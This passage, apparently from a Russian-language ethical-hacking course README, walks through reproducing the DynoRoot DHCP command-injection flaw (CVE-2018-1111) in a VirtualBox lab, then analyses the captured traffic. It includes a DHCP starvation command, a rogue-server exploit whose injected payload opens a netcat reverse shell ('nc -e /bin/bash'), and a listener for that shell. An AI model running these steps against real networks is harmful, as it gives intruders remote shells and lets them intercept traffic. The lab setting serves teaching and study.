можем запустить виртуальную машину в безголовом режиме и использовать `rdesktop-vrdp` для подключения. Если VirtualBox работает
на настольном компьютере, возможно, проще запустить виртуальную машину через GUI, но
этот метод будет работать даже с удалённым хостом VirtualBox.```bash
VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
sleep 12 # Fedora is slow...
rdesktop-vrdp "localhost:${VRDE_PORT}"
kill %%
Install config:
fedoravictimvicenp0s8 для использования DHCP

После установки выключите, удалите ISO и отключите VRDE:```bash
VBoxManage storageattach "${VM_NAME}"
--storagectl "IDE Controller"
--port 0
--device 1
--type dvddrive
--medium "none"
VBoxManage modifyvm "${VM_NAME}" --vrde off
#### SSH Login
Для удобства доступа мы можем установить созданный выше SSH-ключ на машину `victim`:```bash
VBoxHeadless --startvm "${VM_NAME}" &
sleep 5
ssh-copy-id -i ~/.ssh/ethhack.pub victim.ethhack
ssh victim.ethhack
Проверьте, что интерфейс enp0s8 использует DHCP:```bash
sudo nmcli device show enp0s8
Если нет, его можно настроить с помощью:```
sudo nmcli connection down enp0s8
sudo nmcli connection modify enp0s8 IPv4.method auto
sudo nmcli connection modify enp0s8 IPv4.address ''
sudo nmcli connection up enp0s8
Чтобы вернуться к статическому IP:```bash sudo nmcli connection down enp0s8 sudo nmcli connection modify enp0s8 IPv4.address 192.168.0.99/24 sudo nmcli connection modify enp0s8 IPv4.method manual sudo nmcli connection up enp0s8
## Выполнение атаки
Следующие шаги, выполняемые по порядку, продемонстрируют DHCP-атаку.
Рекомендуется настроить терминальный мультиплексор, например [Byobu](https://www.byobu.org/), чтобы упростить переключение между машинами.
Перед атакой:
1. Запустите 3 виртуальные машины, которые автоматически подключатся к легитимному DHCP-серверу
2. Отключите машину Fedora и очистите файлы аренды DHCP, чтобы имитировать новое подключение
3. Перезапустите DHCP-сервер для имитации нового подключения
Сама атака состоит из:
1. Отправка серии поддельных DHCP REQUEST от атакующего, чтобы _истощить_ легитимный DHCP-сервер
2. Запуск мошеннического DHCP-сервера, который будет отправлять вредоносные OFFER жертве
3. Повторное подключение машины Fedora и ожидание, пока NetworkManager отправит широковещательный DHCP DISCOVER
4. Ожидание подключения обратной оболочки
Если что-то пойдет не так, остановите все соответствующие службы и начните заново.
### Шлюз
Очистите старые аренды DHCP и ARP-таблицу, затем перезапустите DHCP:```bash
sudo systemctl stop isc-dhcp-server
sudo rm /var/lib/dhcp/dhcpd.leases*
sudo ip link set arp off dev enp0s8
sudo ip link set arp on dev enp0s8
sudo systemctl start isc-dhcp-server
tail -f /var/log/syslog | grep --line-buffered 'dhcpd' | grep -E 'dhcpd|attacker|fedora|'
Получите новый DHCP-лизинг:``` sudo dhclient -r enp0s8 sudo dhclient -v enp0s8
Записывайте DHCP-трафик с помощью `tcpdump`:```bash
sudo ip link set enp0s8 promisc on
sudo tcpdump -i enp0s8 -w attack.pcap 'arp or icmp or port 67 or port 68'
В качестве альтернативы VirtualBox также может записывать трафик:```bash VBoxManage modifyvm "attacker" --nictrace2 on --nictracefile2 capture.pcap VBoxManage modifyvm "attacker" --nictrace2 off
Запустите DHCP starvation (запустите от `root`):```
sudo su && cd && conda activate dynoroot
python FEP3370-advanced-ethical-hacking/starver.py \
--interface enp0s8 \
--pool-start 192.168.0.100 \
--pool-end 192.168.0.105
Используйте netcat для прослушивания соединений от жертвы:``` nc -v -l -p 1337
Запустить атаку (выполнить от имени `root`):```bash
sudo su && cd && conda activate dynoroot
MY_IP=$(ip -f inet addr show enp0s8 | awk '/inet / {print $2}' | cut -d'/' -f1)
MY_MAC=$(ip link show enp0s8 | awk '/link\/ether / {print $2}' | cut -d'/' -f1)
python CVE-2018-1111/main.py \
-i enp0s8 \
-s 192.168.0.0/24 \
-g 192.168.0.1 \
-d 'victim.net' \
-m "${MY_MAC}" \
-p "nc -e /bin/bash ${MY_IP} 1337"
Очистите старые DHCP-аренды и переподключитесь:``` sudo nmcli connection down enp0s8 sudo find /var/lib/NetworkManager -name 'dhclient-*-enp0s8.lease' -delete
sudo nmcli connection up enp0s8 nmcli
### Анализ
#### Захват видео
Следующее [видео](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/media/dynoroot.mp4) демонстрирует выполнение атаки в соответствии с приведёнными выше шагами. На видео можно наблюдать:
1. Четырёхэтапный DHCP-обмен между `gateway` и `attacker`
2. Атаку истощения DHCP как в консоли атакующего, так и в журналах DHCP-сервера (обратите внимание на `NACK` из-за существующей аренды атакующего)
3. Сообщение "no free leases" от `gateway`, когда `victim` передаёт широковещательный DHCP-запрос `DISCOVER`
4. Сформированные DHCP-сообщения подставного DHCP-сервера, предлагающего `192.168.0.2`
5. Подтверждение того, что netcat получил обратное соединение оболочки от `192.168.0.2`
6. Поддельные DNS-опции, полученные `victim`, т.е. DNS-адрес `192.168.0.1` и домен `victim.net`
7. Успешное удалённое выполнение простых команд на машине жертвы
8. DHCP-сообщение `RELEASE`, отправленное в конце атаки
<a href="https://youtu.be/rgjMzQ5ExyA">
<img src="https://assets.kitploit.com/production/public/readmes/23114/de82a8bbb23835dcc4d0836fe7f906d9610b860d02a0e92b903191be840a799c.gif" style="position:relative; left:50%; transform:translateX(-50%); max-width:1000px;" width="90%">
</a>
#### Анализ трафика
Файл [захвата](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/media/attack.pcap), содержащий след атаки, можно проанализировать в
[Wireshark](https://wiki.wireshark.org/DHCP). В захвате можно отметить:
1. Четырёхэтапный DHCP-обмен между `gateway` и `attacker`
2. Атаку истощения DHCP
3. DHCP-обмен, инициированный `victim` и завершённый `attacker`
4. ARP-запросы _who-has_ и ответы, когда `victim` подключился к netcat-сессии на `attacker`
<figure style="text-align:center">
<img src="https://assets.kitploit.com/production/public/readmes/23114/4503aa77c165c6b2b669f178171dbea60d054b88b56f5d857918fd257e2c6b94.png" style="max-width:800px;" width="90%"/>
<figcaption>Захват пакетов атаки, опция DHCP, связанная с эксплойтом, выделена. Буквы в MAC-адресах означают: <code>d</code> DHCP-сервер, <code>a</code> атакующий, <code>f</code> жертва Fedora</figcaption>
</figure>
## Дальнейшие работы
DynoRoot нацелен на старые дистрибутивы Fedora и RedHat, и был исправлен в более новых версиях.
Поэтому шансы на выполнение этого эксплойта в реальных условиях ограничены. К счастью, DHCP-атаки
не ограничиваются удалённым выполнением кода: любой тип сформированной опции будет принят клиентом
независимо от наличия уязвимости DynoRoot. Самый простой способ использовать это поведение —
объявить машину под контролем атакующего в качестве сетевого шлюза или DNS для определённой зоны,
что позволит отслеживать, проверять и перенаправлять любой дальнейший трафик.
Ещё одно интересное направление касается атак истощения DHCP. Атака, представленная в этом проекте,
основана на заливании DHCP-сервера `REQUEST`-ами с поддельных MAC-адресов, что не является
примером скрытности. В этой статье блога исследуется возможность
[выполнения атак истощения без отправки ни одного DHCP-пакета](https://medium.com/bugbountywriteup/dhcp-starvation-attack-without-making-any-dhcp-requests-bef0022133c9)
но с использованием вместо этого поддельных ARP-ответов.
## Благодарности
[CVE-2018-1111](https://access.redhat.com/security/vulnerabilities/3442151) был сообщён в Red Hat
[Felix Wilhelm](https://twitter.com/_fel1x) из команды безопасности Google.
Скрипт на Python для выполнения эксплойта взят из GitHub
[репозитория](https://github.com/kkirsche/CVE-2018-1111) [Kevin Kirsche](https://github.com/kkirsche)
с небольшими изменениями для игнорирования собственного MAC-адреса атакующего.